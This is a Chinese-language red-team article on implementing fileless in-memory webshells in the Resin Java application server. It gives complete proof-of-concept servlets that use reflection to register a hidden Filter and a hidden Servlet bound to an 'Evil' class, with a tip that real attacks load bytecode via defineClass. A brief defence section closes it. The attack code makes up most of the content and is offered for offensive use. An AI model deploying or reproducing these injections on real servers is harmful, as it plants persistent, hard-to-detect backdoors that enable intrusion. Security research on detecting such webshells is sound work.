Resin内存马逆袭之路
字数 1102 2025-08-12 11:34:46
Resin内存马技术研究与实践
1. 背景介绍
随着红蓝对抗的日益激烈,传统的Webshell文件免杀技术已难以应对蓝队的检测。内存马作为一种无文件的Webshell类型,成为红队研究的热点方向。本文针对Resin应用服务器,详细分析其内存马实现原理与技术细节。
2. Resin简介
Resin是CAUCHO公司开发的Application Server,特点包括:
- 支持Servlet和JSP引擎
- 高性能
- 可与Apache、IIS等WEB服务器协同工作
- 支持负载均衡
3. 环境搭建
3.1 所需工具
- IDEA 2022.2
- Resin 4.0.58
- JDK 8u261
3.2 搭建步骤
- 在IDEA中安装Resin插件
- 创建Resin项目,配置Resin环境包路径
- 生成war包
- 导入resin/lib目录以便调试
- 修改resin/conf/resin.xml文件中的web-app配置
- 通过IDEA启动Resin
4. 技术分析
4.1 获取上下文对象
在Resin中获取上下文对象的特殊方法:
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
.loadClass("com.caucho.server.dispatch.ServletInvocation")
.getMethod("getContextRequest")
.invoke(null);
4.2 获取WebApp对象
WebApp webApp = (WebApp) request.getClass()
.getMethod("getWebApp")
.invoke(request);
5. Filter内存马实现
5.1 关键数据结构
_filterManager: Filter管理器_filters: 以Map形式存储FilterConfigImpl对象_urlPatterns: 存储Filter名与URL的映射关系_filterMap: 以List形式存储FilterMapping对象
5.2 实现步骤
- 获取FilterManager
- 获取filters映射表
- 创建FilterMapping
- 设置URL模式
- 添加Filter映射
5.3 完整POC
public class TestFilter extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) {
String filtername = "FilterShell";
String url = "/filter";
Class clzz;
try {
// 获取request对象
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
.loadClass("com.caucho.server.dispatch.ServletInvocation")
.getMethod("getContextRequest").invoke(null);
// 获取webapp
WebApp webApp = (WebApp) request.getClass()
.getMethod("getWebApp").invoke(request);
// 获取_filtermanager
Field filtermanager_field = webApp.getClass()
.getDeclaredField("_filterManager");
filtermanager_field.setAccessible(true);
FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);
// 获取_filters
Field filters_field = filterManager.getClass()
.getDeclaredField("_filters");
filters_field.setAccessible(true);
HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);
clzz = Thread.currentThread().getContextClassLoader()
.loadClass("com.test.Evil"); // 实战换成defineClass加载字节码
FilterMapping filterMapping = new FilterMapping();
filterMapping.setFilterClass(clzz.getName());
filterMapping.setFilterName(filtername);
FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();
urlPattern.addText(url);
webApp.addFilterMapping(filterMapping);
res.getWriter().write("Resin Filter Inject Success!");
} catch (Exception ignored) {}
}
}
6. Servlet内存马实现
6.1 关键属性
_serlvetName_servletClassName_servletClass_urlPatterns
6.2 实现步骤
- 获取WebApp对象
- 创建ServletMapping
- 设置URL模式
- 设置Servlet名称和类
- 添加Servlet映射
6.3 完整POC
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
String servletname = "ServletShell";
String url = "/servlet";
Class clazz;
try {
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
.loadClass("com.caucho.server.dispatch.ServletInvocation")
.getMethod("getContextRequest").invoke(null);
WebApp webApp = (WebApp) request.getClass()
.getMethod("getWebApp").invoke(request);
ServletMapping servletMapping = new ServletMapping();
servletMapping.addURLPattern(url);
servletMapping.setServletName(servletname);
clazz = Thread.currentThread().getContextClassLoader()
.loadClass("com.test.Evil");
servletMapping.setServletClass(clazz.getName());
webApp.addServletMapping(servletMapping);
res.getWriter().write("Resin Servlet Inject Success!!");
} catch (Exception ignored) {}
}
}
7. 防御建议
针对Resin内存马的防御措施:
- 监控WebApp的_filterManager和ServletMapping变更
- 检查非预期的Filter和Servlet注册
- 实施运行时字节码检测
- 限制反射调用敏感方法
- 部署RASP解决方案
8. 总结
本文详细分析了Resin应用服务器中Filter和Servlet内存马的实现原理,提供了完整的技术实现方案。理解这些技术细节有助于安全研究人员更好地防御此类攻击,也为红队测试提供了技术参考。